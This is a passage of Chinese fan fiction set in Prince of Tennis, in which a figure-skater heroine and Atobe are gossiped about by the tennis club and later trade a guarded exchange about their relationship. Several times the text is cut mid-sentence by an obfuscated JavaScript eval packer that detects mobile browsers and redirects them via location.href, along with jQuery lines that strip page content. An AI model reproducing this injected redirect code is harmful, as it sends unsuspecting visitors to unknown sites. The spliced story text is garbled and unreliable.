向日岳人立刻接话:“诶——可是听起来还是很有缘分啊!从小认识,分开,然后又一起回冰帝!这本身就很像小说情节嘛!” “就是就是!”其他几个三年级也附和道,显然对这个话题依然兴致勃勃。 凛笑了笑,顺着他们的话,语气坦荡:“是啊,很有缘分。和迹部是,和桦地也是。小学毕业后那么久没见,居然在冰帝又遇到了。” 她没否认缘分,但又强调了这种重逢的非特殊性——看,不止和迹部有这种巧合,和沉默寡言的桦地也一样呢。 少年们起哄了几句,见当事人之一的凛态度坦然,另一当事人迹部则完全置身事外,便也识趣地不再深入,餐厅很快又恢复了热闹的进食和闲聊氛围。 这时,一直迷迷糊糊靠在旁边打盹,仿佛对刚才的八卦风暴毫无所觉的芥川慈郎,不知被什么念头突然唤醒,他揉揉眼睛,琥珀色的眸子亮晶晶地,看向凛发问:“呐呐,花滑好玩吗?到底是怎么在冰上转那么多圈还不晕的?” 他的问题天真直率,瞬间冲散了餐桌上残留的微妙气氛,也引起了其他几个没接触过花滑的少年的兴趣。 “很好玩,”她开口,“高速滑行的时候,感觉像飞一样。冰面很硬,但滑起来的时候,感觉很自由感。” “至于旋转,”她继续回答慈郎的第二个问题,“需要一点技巧,一开始练的时候,晕是免不了的,但更多的是习惯吧。”她笑了笑,“就像打网球,一开始接发球也会手忙脚乱吧?练多了,身体自然就知道该怎么控制。” “听起来就超——级有趣!”慈郎立刻直起身,脸上写满了跃跃欲试,他转向迹部的方向,兴奋地提议,“我们待会儿一起去冰场玩吧!迹部,你家附近是不是就有个超——级豪华的冰场,还经常有专业选手训练?” 这个提议得到了热烈响应。 “好啊好啊!我想试试那个飞一样的感觉!”向日岳人第一个举手赞同。 “听起来很有意思,我也想去看看。”凤长太郎温和地表示。 “啧,反正下午也没别的安排。”宍户亮也点了点头。 连忍足都露出了感兴趣的表情:“哦?专业冰场吗?倒是值得一去。” 于是,饭后一行人转移到了冰场。 周末的商业冰场人头攒动,嬉笑声和冰刀划过冰面的声音此起彼伏冰面之上,立刻呈现出众生百态:忍足谨慎,宍户和日吉屡摔屡战,岳人欢快溜达,凤和泷互相扶持,桦地沉默移动。 对于需要较高的进入速度和滑行空间的跳跃而言,这样的环境显然太过嘈杂和拥挤。凛没有打算冒险,专注于滑行练习。今天原本没有安排上冰,现在倒是意外的补上了训练。 她做了先是做了几个简单的步法热身,而后是一个大一字滑行,身体重心在深外刃与内刃间精准转换,整个人的倾斜角度大得惊人。 “假的吧?!”滑到场边的向日岳人忍不住惊呼,“这简直是无视地心引力了啊!” 凤长太郎温和地接话:“听说专业花滑选手的核心力量都非常强呢。” 听到两人的对话,忍足侑士推了推眼镜,镜片后的目光带着看好戏的笑意:“说的是呢。岳人,你大概不知道,藤原桑在前不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016643|194210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久的修学旅行上,可是背着同班女生,轻松完成了三个标准的俯卧撑哦。那种核心稳定性和臂力……啧啧。” 他轻描淡写地抛出了这个旧闻,瞬间将在场几个不知情的三年级的注意力从冰上炫技,拉回了之前那场充满八卦色彩的真心话大冒险。 “真的假的?!”向日岳人瞪大了眼睛,满脸不信,“背着女生做俯卧撑?” “就是冲绳旅行的第一个晚上,游戏环节。”忍足简略地讲了凛主动解围的故事,省去细节,但保留了关键信息。 “之后,藤原桑还抽中了真心话,被问了——”忍足刻意停顿了下,吊足了胃口,“‘在场有没有喜欢的人’这种问题。” “诶——?!!”向日岳人瞬间忘了刚才对“反重力”滑行的惊叹,八卦之魂熊熊燃烧。他偷偷瞟向场外——迹部景吾并没有上冰,他正坐在场边的VIP休息区,姿态闲适地翻看着一本杂志,“……迹部也在场?她怎么回答的?” “嘛,藤原桑倒是很干脆的说没有。”忍足推了下眼镜,镜片反光一闪,“态度坦然得很。迹部当场倒也没什么特别的反应,看也没看藤原桑一眼,就跟没听见似的。” “……感觉应该有个但是?”凤直觉地接话。 “敏锐。”忍足镜片后的目光带着赞许。他慢悠悠地开口,声音压得更低了些,确保只有围过来的这几个人能听清,“但是,有意思的在后头。迹部在藤原桑下一轮的大冒险游戏结束之后——哦对了,大冒险的内容是和她右边的人交换上衣,而她右边原本坐着谁,你们猜?” 几个人面面相觑,然后几乎是同时,目光齐刷刷地射向了场外那个翻杂志的身影。 “Bingo.”忍足打了个响指,“原本应该和藤原桑玩这个游戏的,是迹部。不过他刚好出去接电话了,所以……”他耸耸肩,指了指自己,“我就顺延成了那个幸运儿。” “然后呢然后呢?”向日岳人急不可耐。 “然后,我们就交换了外套。再然后,等迹部打完电话回来……”忍足故意拉长了语调,享受着听众们全神贯注的表情,“看到的就是穿着我衬衫的藤原桑,和穿不上藤原桑外套的我。” “噗——”向日岳人差点笑出声,赶紧捂住嘴。 “迹部什么反应?”宍户亮也忍不住追问。 “表面上,没什么特别的反应。”忍足回忆着,嘴角勾起玩味的弧度,“就是问了句怎么了,我解释了之后,他‘啊嗯’了一声,就让人去拿新饮料了,处理得滴水不漏,非常迹部。” “但是?”凤长太郎再次精准地捕捉到了关键。 “但是,”忍足笑意加深,“藤原桑说,游戏结束后,迹部把原本应该还给我的那件衬衫拿走了,说是‘顺路还给我’。” “这不是很正常吗?”向日不解。 “这个说法姑且算正常。”忍足点点头,“问题是,他顺路之后,我那件衬衫就再也没回到我手上。我去问他的时候,他说送去洗衣房了,但洗衣房似乎没送还回来。” 他顿了顿,在几人越发好奇的目光中,慢悠悠地抛出了自己的推测:“我个人猜测,没送还回来只是个借口。他可能……”忍足镜片后的目光闪过一丝狡黠,“直接扔了也说不定。” “扔了?!”向日倒吸一口凉气,声音都不自觉拔高了点,引来附近几个陌生人的侧目,他赶紧缩了缩脖子,压低声线,“不是吧?!……就因为藤原穿过?这也太……” “太什么?”宍户亮接话,“占有欲?” “或者说是领地意识?”凤尝试着用更温和的词汇。 “谁知道呢。”忍足摊手,一副“我只是陈述事实,不做评价”的模样,但眼中的笑意出卖了他,“总之,那件衬衫是彻底失踪了。” “而原本该和藤原桑交换衣服的人……”他意味深长地拖长了尾音。 “是迹部。”向日喃喃重复,眼睛瞪得滚圆,看看冰场上依旧在专注练习的凛,又看看场外那个仿佛与世界隔绝的迹部,脑子里已经上演了无数小剧场。“所以他是因为错过了那个游戏……才不高兴?不对,是因为藤原穿了你的衣服……也不对,是因为……” “因为虽然他自己当时不在场,但规则上,那原本是属于迹部景吾的互动。”忍足好心地点拨了一句,将隐晦的暗示点明。 他满意地看到自己成功转移了话题焦点,或者说,将八卦的火焰烧得更旺了。几个少年都陷入了消化这个“重磅消息”的沉默中,脸上表情精彩纷呈。 “所以……”向日压低了声音,身体不自觉地往忍足那边凑了凑,琥珀色的眼睛里闪着兴奋而确信的光芒,“果然是不一样对吧?”他像是终于找到了所有线索串联起来的那个关键节点,语气笃定。 忍足镜片后的目光闪了闪,没有直接肯定,但那微微上翘的嘴角和默许的表情,已经说明了一切。 17. 番外1:网球部群聊小剧场[番外] 场景:网球部众人在迹部家看到凛和迹部的互动后 【冰帝网球部非官方八卦群】 「截击之神邀请“泷荻之介”加入群聊,群聊参与人还有:绝不认输、重炮发球、爱睡觉的慈郎、关西的理智、下克上、纯粹之心」 泷荻之介:这什么群?八卦专用?名字倒是一目了然。 截击之神:名字无所谓啦!重点!重点!那个“暂时借住”……你们真的信吗?!藤原刚才那样子,完全就是在自己家好吧!怎么可能! 绝不认输:哈,谁会信啊。 重炮发球:岳人前辈,声音……不过,确实很难让人相信只是普通的客人。 爱睡觉的慈郎:Zzz…嗯?谁?哦,那个滑冰的女生?在迹部家训练?不是挺好的嘛…迹部家训练室超棒的说zzz…… 截击之神:慈郎!根本不是训练器械的问题啊!是那种感觉!还有迹部那家伙!“一起午餐”——连问都没问!直接就安排了!这算什么啊! 泷荻之介:确实,会长的态度很值得玩味呢。是认定对方不会拒绝,还是已经…习惯了? 重炮发球:而且,藤原桑的反应也…太自然了。一般女生的话,被我们这么多人撞见住在男生家里,多少会有点害羞或者解释一下吧?藤原桑完全没在意,也没觉得需要解释,很坦然地打招呼,然后就去换衣服了。 截击之神:对吧对吧!凤你也这么觉得!她是觉得自己也算半个主人?还是说…她对迹部根本没那种想法,所以无所谓? 绝不认输:哪种都有可能。那女人本来就不能用常理判断。 关西的理智:(终于结束与迹部的表面寒暄,拿起手机)从逻辑上说,“父母出差,暂时借住”这个理由是成立的,很合理。 截击之神:诶?!侑士你居然信? 关西的理智:别急,岳人。我还没说完。前提虽然合理,但由此延伸出的“照顾范围”,深度和广度早就超出普通世交,甚至超越了一般好朋友的界限。私人训练室、共同起居、默认一起用餐…这些都是非常个人领域的共享。 泷荻之介:忍足的意思是,能住进来是“结果”,而不是“原因”。是因为关系到了那一步,才会这么自然地进入私人空间。 关西的理智:没错。另外,补充一个有趣的点:藤原桑在班里,可是一直规规矩矩叫“迹部桑”的哦,连“迹部君”都不叫,保持了相当的距离感。 重炮发球:啊…这么一说,确实是。“桑”这个称呼,在同年级里,算是相当正式和客气了。 关西的理智:但在这里,刚才那短短的互动里,那种距 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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他指的是冰帝学生会和学校管理层最近联合发布的新修订社团活动规则。其中新增了一个引人注目的条款:在全国级及国际比赛中获得相应名次的职业选手,在专业训练时间冲突的情况下,可申请豁免部分日常社团活动,不影响学分,但需要通过其他方式(比如讲座分享、表演展示、指导低年级等)做出替代性贡献。这个条款适用范围极窄,条件苛刻,怎么看都像是……为某个特定情况量身定制的。 原本这只是个低调出台的规章调整,知道的人不多,也没引起太大讨论。但此刻,被凤长太郎在这个语境下重新提起,意义就完全不同了。 几个少年——包括原本对学校规章不太敏感的向日和宍户——都愣了一下,随即恍然大悟。 “对啊!”向日岳人一拍大腿,声音都忘了压低,“我说怎么突然冒出这么一条规定!冰帝以前可从来没有这种先例!职业选手豁免社团活动……这不就是给藤原桑开的绿灯吗?!” 宍户亮也皱起了眉头,仔细回想:“公告发布的时间……好像就是藤原桑入学后不久吧?而且,制定和执行这种细则,需要学生会和风纪委员会共同审议通过,还得校方批准……”他说着,目光不由自主地转向了场外VIP区。那位不仅是网球部部长,更是冰帝学园学生会长,是在校园管理事务上拥有极大话语权的存在。 一切线索,似乎都指向了同一个人。 忍足侑士推了推眼镜,这次的笑容里多了几分更浓的欣赏,“啊咧,被凤注意到了呢。那条细则的提案和推动,确实是在迹部的主导下,以‘提升冰帝课外活动多元化与专业性,吸纳顶尖人才,同时保持制度灵活性’的名义通过的。流程上完全合规,理由也足够冠冕堂皇。” 他顿了顿,镜片后的目光带着玩味:“当然,不可否认,它确实……非常及时且精准地解决了一位新转入的职业花滑选手可能面临的、训练与社团活动的时间冲突问题。毕竟,冰帝的社团活动学分要求,一向严格。” 这番话,几乎就是明示了。 “这也太……”向日岳人张大了嘴,一时间找不到合适的词来形容。这已经不是私下里递件衣服、拎个包这种程度的“特殊”了,这是直接动用了学生会长和迹部家影响力的层面,为一个人修改了学校的规章制度! 虽然流程合规,理由充分,但其中的用意,简直昭然若揭。 “这就是迹部的方式吧。”宍户亮难得地没有吐槽,语气复杂,“不声不响,但直接把路铺平。让你连拒绝或者觉得‘特殊’的余地都没有。” 因为那不是特殊照顾,而是制度允许。 凤点了点头,“而且,条款里要求的‘替代性贡献’,比如讲座或表演,对藤原桑来说应该也不是难事,反而能让她分享自己的专业,对学校和其他同学也有益处,考虑得很周全。” “确实。既解决了实际问题,又避免了‘特权’的观感,还提升了学校活动的品质。一举多得,非常迹部的风格。”忍足赞同地补充。 华丽,高效,且让你挑不出毛病。 几个少年再次陷入了沉默,但这次的沉默里,震撼远多于八卦的兴奋。他们一直知道迹部景吾能力非凡,影响力巨大,但如此具体地看到他将这种能力运用在如此……私人的领域,且做得如此滴水不漏、理直气壮,还是带来了不小的冲击。 这已经不是简单的有好感或者“青梅竹马的特殊情分”可以解释的了。这是一种更深层次的、经过深思熟虑的、并且愿意动用资源去维护和铺就的……重视。 “难怪……”向日喃喃道,看向冰场上那个对此一无所知、正练习一个复杂旋转的身影,眼神里多了几分之前没有的复杂情绪,“原来从她转学过来开始,迹部就已经……” 就已经将她纳入了自己的羽翼之下,用他自己的方式,为她扫清障碍,铺平道路。 “所以,”忍足侑士最后总结道,目光扫过几位若有所思的同伴,声音里带着一丝不易察觉的感慨,“现在你们明白,为什么有些事,在迹部那里,从一开始就是不一样的了吗?” 有些“不一样”,扎根于遥远的过去,成长于分离的岁月,并在重逢的那一刻,迅速具象化为一系列细致入微、却影响深远的行动。它沉默,却有力;它无形,却无处不在。 —————— 凛准备下冰的时候,一个约莫八九岁、梳着双马尾的小女孩,怯生生地滑到她身边,仰着小脸,眼睛亮晶晶的,带着羞涩和兴奋小声问:“请问……您是藤原选手吗?那个全日青年锦标赛的冠军?” 凛有点惊讶,这是她第一次在非比赛、非训练场合被认出来。她看着小女孩纯真的眼神和因为紧张而微微泛红的脸颊,心里软软的,蹲下身与她平视,微笑着回答:“是我。你好呀。” “我……我超级喜欢您!我的梦想也是成为职业选手!可以和您合影吗?”小女孩激动得小脸通红,小手紧紧攥着衣角。 “当然可以。”凛欣然答应,蹲在小女孩身旁搂着她,让她站在不远处的妈妈帮忙拍了几张照片。拍完照,凛见她依旧满眼崇拜、恋恋不舍地看着自己,想了想,问她:“要一起滑一会儿吗?” “可以吗?真的可以吗?”小女孩简直不敢相信自己的耳朵,眼睛瞪得圆圆的。 “当然,”凛摸摸她的脑袋,语气温柔,“你想怎么滑?” 小女孩想了想,充满期待地说:“能……能一起做一个燕式旋转进贝尔曼吗?就像您节目里做的那样!” “好,我们试试。”凛拉着她的手滑进冰场,几个压步带起速度,随后默契地同步进入旋转。 让凛有些惊讶的是,这个小粉丝似乎将她的节目研究得非常透彻,在旋转中变换姿势的节奏几乎与她一模一样,虽然力量和稳定性还差一些,但那份热爱和努力模仿的样子让凛想起自己以前的样子。 小女孩的妈妈在一旁激动地录像,结束后不住地向凛轻轻躬身道谢。凛对小女孩比了个加油的手势,又鼓励了她几句,才与她道别。 迹部景吾这时放下杂志,走到靠近她这边的挡板一侧,语气听不出什么情绪,像是随口一问:“这就遇到小粉丝了?” 凛一边解着冰鞋的鞋带,一边还有点不可思议地笑了笑:“是啊,没想到这么快就有粉丝了,感觉……挺奇妙的。” 话音刚落,似乎又有两个年轻人认出了她,拿着手机,脸上带着犹豫和兴奋,想过来合影,但看到凛身边那个气场强大、面色冷淡的迹部景吾,又有些畏缩不前,最终只是远远地朝凛挥了挥手,用口型说了句“加油”,便转身离开了。 “看来,今天要提前结束了。”迹部看着她道。 凛看着周围更多开始注意到她的人群,无奈地点点头:“是啊。” 她心里掠过一丝淡淡的失落。成名带来的关注,就像双刃剑。以后想来商业冰场随心所欲地滑冰、享受那种纯粹的乐趣,恐怕很难了。 准备回去的时候,网球部的正选们“意外地”还没玩够。 “啊,你们先走吧!”向日岳人一边笨拙地试图做一个转身,一边头也不回地喊道,“我还想再玩一会儿!” “是啊,难得来一次。”宍户亮也附和,虽然他的动作看起来并不怎么“享受”。 忍足侑士推了推眼镜,笑容一如既往地意味深长:“迹部,藤原桑,路上小心。” 当然,没玩够只是个心照不宣的托词。经过刚才那一轮由忍足主导、信息量爆炸的八卦分享,再迟钝的人也明白,此刻留下当电灯泡是多么不合时宜。 凛和迹部与众人打了个招呼,在少年们“玩得开心”的起哄声中离开了冰场。 两人默默地沿着人行道漫步。夕阳的余晖将两人的影子拉长,时而交叠,时而分开。冰场的喧嚣被抛在身后,周围是傍晚归家的车流和行人细碎的声响, 迹部走在她的身侧,沉默片刻后,主动提起:“今天网球部聚会,是前几天部活时就定好的。”他这话像是在解释,他并非有意让网球部的人知道她暂住,也并非刻意安排这场偶遇。 凛点头,语气没有丝毫介怀:“了解。” 毕竟她是昨天才临时确定要过来借住的,行程仓促。 “而且,你也没有义务为了我打乱自己的计划。”她也不觉得自己的出现需要成为他生活的中心。 “那群家伙,问了些不华丽的问题,你不必放在心上。是本大爷平时太纵容他们了。”迹部继续说,带着一丝对部员们跳脱行为的无奈容忍。 “没关系啊,”夜色中她的眼神清澈而坦然,“他们也没问什么很过火的问题,没什么不能说的。” 她如此坦然,仿佛那些关于关系的追问真的只是无关紧要的插曲,她给出的答案就是全部真相,无需深究,也无需在意。这种反应,反而让迹部心里生出一种微妙的的不满。 尤其是当宍户直接追问“你和迹部什么关系”时,她回答得那么干脆利落——“世交,小时候就认识的朋友”,将他与她之间那些经年累月沉淀下来的东西,轻而易举地归类到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016645|194210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一个普普通通的标签下。 只是世交吗? 只是……朋友吗? 他不信。不信以她的敏锐,会感受不到那些流转在目光交错间的暗涌。那些心照不宣的瞬间,那些越过界限的关切,那些连他自己都开始无法忽视的、日益清晰的张力,她怎么可能全然无知无觉? 暮色渐浓,街灯次第亮起,将两人的影子投得更长。迹部目视前方,脚步未停,然而,一句听起来云淡风轻的问话,却打破了两人之间维持了一路的平静表象: “只是世交吗?” 不是质问。仿佛只是随口确认一个无关紧要的事实,但精准地击中了某个似乎一直在被默契回避的问题。 凛的脚步顿了顿,眼中掠过一丝猝不及防。她侧过脸看了一眼迹部,有点探究,没料到他会在此刻、以此种方式,直截了当地撕开那层心照不宣的薄纱。 随即又恢复了正常的步速,没有停下。 “不然呢?” 她声音不高,也没有多余的解释。但只用了三个字,就将那个足以搅动空气、改变某种平衡的问题,原封不动地抛了回去。 但那份平静下的反问,却比任何激烈的辩驳或羞涩的回避都更具冲击。她将定义权交还给了他,也将问题的重量,重新压回他的肩头。 ——不然呢? ——你认为我们是什么关系? ——迹部景吾,你希望我回答的,究竟是什么关系? 空气似乎在这一刻凝固了。街道上的车流声、远处的霓虹闪烁,都仿佛被隔绝开来。只有两人之间,那无声的、又暗流汹涌的对峙。 迹部停下脚步,转过头。昏黄的路灯照亮了她的眼睛,那里面没有闪躲,没有戏谑,只有平静。 “啊嗯。”他看了她一眼,微微勾起嘴角,声音在晚风中显得意味深长,“你认为是什么关系,本大爷就认为是什么关系。” 他将问题的核心,连同所有潜藏其下的、未曾言明的悸动与揣测,又轻巧地掷回,像抛出了一道没有标准答案的谜题。 这是一场无声的较量。比的是谁先动摇,谁先露出破绽,谁先……愿意跨过那条心照不宣的线。 凛听完,脸上没有任何被戳破的慌乱,反而是一派了然的平静。她甚至颇为认同地点了点头,用一种理所当然的语气接话: “那就是世交咯。” 她迎着他的目光,不闪不避。她精准地避开了他言语设下的陷阱,将那个被他赋予了无限可能性的“你认为”,牢牢地框定在了最初的原点。 这既是一种聪明的防守,也是一种不动声色的……反击。 ——想让我先定义? ——想让我先承认那份超出界限的在意? ——迹部景吾,你未免想得太好了。 迹部因为她这个过于坦然的回答,而罕见地沉默了片刻。 他刚才那句话,本是想逼她露出破绽,或者至少,让她在压力下承认那份关系并非简单的世交,从而打破两人之间那层微妙的平衡。但她却用最简单的方式,接住了他的问题,并把它变成了一句共识。 他没有立刻接话,只是更深地看了她一眼。夜色将他眼底翻涌的情绪掩盖得极好。 然后,他极轻地,从喉间溢出一声低笑。 “呵。” 这笑声很短,气息轻得几乎消散在风里。不像反驳,不像嘲讽,也不像失望。更像是一种看穿,但不戳穿。 是一种“游戏还在继续”的宣告,也是一种……默许她暂时躲在世交壳子里的、近乎纵容的耐心。 “走了。” 他没再多言,甚至没有等待她的反应,便率先转过身,重新迈开步伐。 “起风了。” 他的声音随风传来。像是一句单纯的提醒,又像是意有所指——关于某些已然开始流动、无法再假装平静的东西。 凛站在原地,轻轻呼出一口气,连同胸口那一点因为方才交锋而悄然加速的心跳,也慢慢平复下来。 她迈开脚步,不疾不徐地跟了上去。 只是世交吗? 不然呢? 你认为是什么关系,本大爷就认为是什么关系。 ……那就是世交咯。 呵。 这段简短的交锋,是一场无声的博弈。两个同样骄傲的人,谁都不愿先露出底牌,却又都在对方的反应里,确认了某些东西。 夜风确实更凉了些,但吹不散两人之间那团由暧昧、试探与未尽之语凝聚而成的,滚烫的迷雾。 而他们之间的这场游戏,显然,还远未结束。 19. chapter18 那场关于“世交”的试探过后,校园生活仿佛真的恢复了彻底的平静。 迹部景吾依旧是那个华丽、自律、掌控一切的帝王。上课时专注,下课时被簇拥,午餐在学生会室或特定餐厅,网球部的训练雷打不动。他没有再流露出任何超出世交范畴的关注。在走廊相遇,他会微微颔首,称呼一声“藤原”;在班级必要的交流中,语气平淡公事公办。仿佛那天傍晚的短暂交锋,都只是落日里的幻觉。 凛也同样。她按部就班地上课、训练、研究古文。在学校,她叫他“迹部桑”,保持着恰好的距离。两人偶尔在图书馆的同一区域自习,中间隔着好几张桌子;在食堂远远看见,也不会特意走过去。生活轨迹清晰,仿佛两条永不相交的轨道。 唯一的变化,是凛的人气在悄然攀升。自从她在俄罗斯分站赛夺金后,“冰帝有位很厉害的职业花滑选手”这件事,就不再是角落里的小道消息。校园里,开始有更多不认识的同学在擦肩而过时,小声而兴奋地说“藤原同学加油!”;走在路上,偶尔会有低年级的女生跑过来请求合影;甚至,校园匿名论坛里,悄然开辟出了一个“花样滑冰·藤原凛选手”的讨论区,里面充斥着比赛视频截图、技术分析帖,以及各种角度的官方照片和偷拍照。尽管凛本人对此一无所知——她从来没登录过。 午后的阳光穿过光秃的枝桠,在教学楼后的小花园里投下斑驳的光影。这里生活着几只被校方默许、由动物保护社团照顾的校园猫。藤原凛蹲在长椅旁,手里拿着一个打开的猫罐头。 年糕,那只通体雪白、性子温吞的猫咪,正慢条斯理地享用着它的加餐,偶尔用毛茸茸的脑袋蹭蹭凛的手指。 “果然在这里。” 一个温和的声音自身后响起,带着笑意。 凛回过头。站在那里的,是同班的神谷佑树,音乐社的社长。他穿着熨帖的秋季制服,身形修长,脸上带着惯常的微笑,手里没有拿乐谱,而是拿着一个银灰色的、看起来颇有质感的文件夹。 “神谷桑。”凛站起身,拍了拍手上的灰尘,礼貌地打招呼。她和神谷有过几次交流,大多是在走廊或图书馆,围绕着她某个比赛节目的选曲和音乐剪辑问题。神谷在古典乐和现代电子乐融合方面颇有见解,给过她一些不错的建议。他为人谦和,在年级里人缘极好,与迹部那种天生的领袖气场不同,是靠才华和温和性情获得认可的类型。 “打扰你喂猫了?”神谷走近几步,目光落在专心进食的年糕身上,“它还是这么悠闲。” “嗯,它一向如此。”凛笑了笑,心里却隐约升起一丝预感。 神谷佑树不像是会偶遇她的人。 果然,神谷将手中的文件夹递了过来,神色坦然:“这个,是之前你提过的,关于《罗密欧与朱丽叶》变奏节奏可能性的一些乐谱分析和改编思路,我整理了一下,觉得可能对你有用。” 凛接过文件夹:“谢谢,还特意麻烦你……” “不麻烦,探讨音乐是件愉快的事。”神谷打断她,语气依旧温和,但接下来的话却让凛微微一怔,“其实,今天过来,除了这个,还有另一件事。” 他看着凛,顿了顿,脸上的笑容收敛了些,变得更加认真。 “藤原同学,我从很久以前就有关注你的比赛,不仅是技术,还有你对音乐的理解和表达,每次都让我很受触动。在冰帝能和你同班,有机会交流,更是让我觉得……很幸运。” “所以,我不想留下遗憾。藤原同学,请问,你愿意和我交往吗?” 没有结巴,没有脸红到脖子根,也没有手忙脚乱地递情书。这份坦然和自信,反而让凛一时不知该如何像拒绝之前那些告白者一样,迅速给出标准答案。 花园里很安静,只有年糕舔舐罐头的细微声响。 她沉默了两秒,指尖无意识地敲了两下文件夹。 “神谷桑,”她终于开口,声音同样温和,“非常感谢你的心意,以及一直以来在音乐上给我的帮助。但是,抱歉,我现阶段全部的重心都在训练和比赛上,确实没有余力去考虑恋爱的事情。” 她用了“现阶段”和“余力”这种稍微柔软一点的词,比单纯的不考虑看似有点人情味,但拒绝的核心依旧明确。 神谷听完,脸上并没有出现太明显的失落,反而像是早有预料般,轻轻点了点头,唇角甚至重新浮起一点笑意,不过更像是自嘲。 “果然被拒绝了。”他轻声说,语气更像是一种释然。 “其实修学旅行那天,听到你说在场没有喜欢的人时,我就隐约有预感了。只不过……不亲自问一下,总觉得不甘心。” “不过,”神谷佑树向前走了一小步,距离拿捏得恰到好处,不会显得冒犯,又足够表达诚意,“今天这件事,不会影响我们作为同学,以及偶尔交流音乐的关系吧?我还是很期待能看到你未来在冰面上,演绎那些我们讨论过的旋律的。” 他的态度明确:告白是告白,欣赏是欣赏,他不会因此纠缠,也希望能维持原有的的交流。 凛点了点头:“当然。神谷桑在音乐上的见解,对我一直很有帮助。以后也请多多指教。” “彼此彼此。”神谷的笑容恢复了往常的温和明亮,“那我就不打扰你和年糕了。比赛加油,藤原同学。” “谢谢。” 神谷微微颔首,转身离开了小花园。 凛站在原地,看着手里的文件夹,又看了看脚边一无所觉的年糕,再次叹了口气。 处理这些事真的是比练习四周跳还伤脑筋。 —————— 下午,网球部更衣室。 大部分部员已经换好衣服,在球场上做热身活动。更衣室里只剩下向日岳人、凤长太郎和宍户亮,正在热烈讨论中午听来的“花园告白事件”。 “……所以真的被拒绝了?那个音乐社社长?”凤长太郎一边系着鞋带一边问。 “千真万确!”向日岳人盘腿坐在长椅上,绘声绘色,“听说藤原桑特别客气,但拒绝得超干脆!‘现在全部精力都在训练上’——标准答案!不过那小子胆子真大啊,居然敢直接A上去……” 宍户亮嗤笑一声,拉上外套拉链:“那女人拒绝人不是挺正常的吗?她脑子里除了跳就是转。告白的也是没眼力见。” “话是这么说啦……”向日压低声音,鬼鬼祟祟地看了看更衣室门口,“不过,你们说,迹部他知道这事吗?” 凤长太郎犹豫道:“应、应该还不知道吧?这种小事……” “这可未必是小事哦。”带着关西腔的声音慢悠悠响起。忍足侑士推门进来,他似乎是直接从教室过来的,书包还挎在肩上,脸上带着惯有的笑容,“以某些人的情报网,以及对藤原桑动态的……嗯,关注度……” 他的话恰到好处地在这里停顿,留下无尽遐想空间,镜片后的目光扫过在场几人,带着“你们懂的”的暗示。 就在这时,更衣室的门被推开。 迹部景吾站在门口。 他已经换好了训练服,脸上没什么表情,先扫了一眼墙上的时钟——三点五十八分——然后目光落在刚刚进来、书包还没放下的忍足身上。 空气瞬间凝固。 向日猛地从长椅上弹起来,抓起自己的球拍:“啊!该去热身了!”他几乎是同手同脚地往外冲。 凤长太郎也迅速跟上,小声说:“部长、忍足前辈,我们先过去了!” 宍户亮啧了一声,也快步离开。 几秒钟内,更衣室里只剩下迹部和刚刚放下书包的忍足。 忍足推了推眼镜,笑容不变,仿佛刚才那段意有所指的闲聊从未发生:“部长,下午好。” 迹部没应声,看了他一眼:“忍足,两分钟后训练开始。希望你已经准备好了。” “当然。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016646|194210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”忍足从容地开始换衣服。 两点钟,球场。基础热身刚刚结束。 迹部站在球场中央,环视众人,目光在忍足身上多停留了一瞬。 “今天进行场地对打练习。”他宣布,“忍足,你和本大爷打一盘标准对抗赛。” “是!”众人应道。 比赛开始。 迹部的状态从一开始就异常凌厉。他的发球不再仅仅追求速度和角度,而是带着极强的力量感,砸在接发球区的边缘。回球更是毫不留情,几乎每一拍都瞄准底线深区,带着强烈的上旋,逼迫忍足不断后退和奔跑。 这不像平时的技术对抗或战术演练,更像是一种体能和意志的碾压,或者说,是在用网球来进行某种表达。 “砰!”一记Inside-out的正手抽击,压着边线。 “15-0。” “啪!”反手位的直线穿越,球速快得惊人。 “30-0。” 忍足试图用他擅长的技巧和节奏变化来周旋,但今天迹部的防守如同铜墙铁壁,预判精准得可怕,总能提前一步封堵他的线路。偶尔忍足打出高质量的回球,迹部也能用更不讲理的攻击打回来。 汗水很快浸湿了两人的头发和衣背。 “Game,迹部,3-0。” 交换场地时,迹部用毛巾擦了下脸和脖子,汗水将毛巾浸湿了一小块。他看向旁边同样在擦汗、气息明显粗重了许多的忍足侑士,“你的洞察力,今天似乎被别的东西分散了,忍足。” 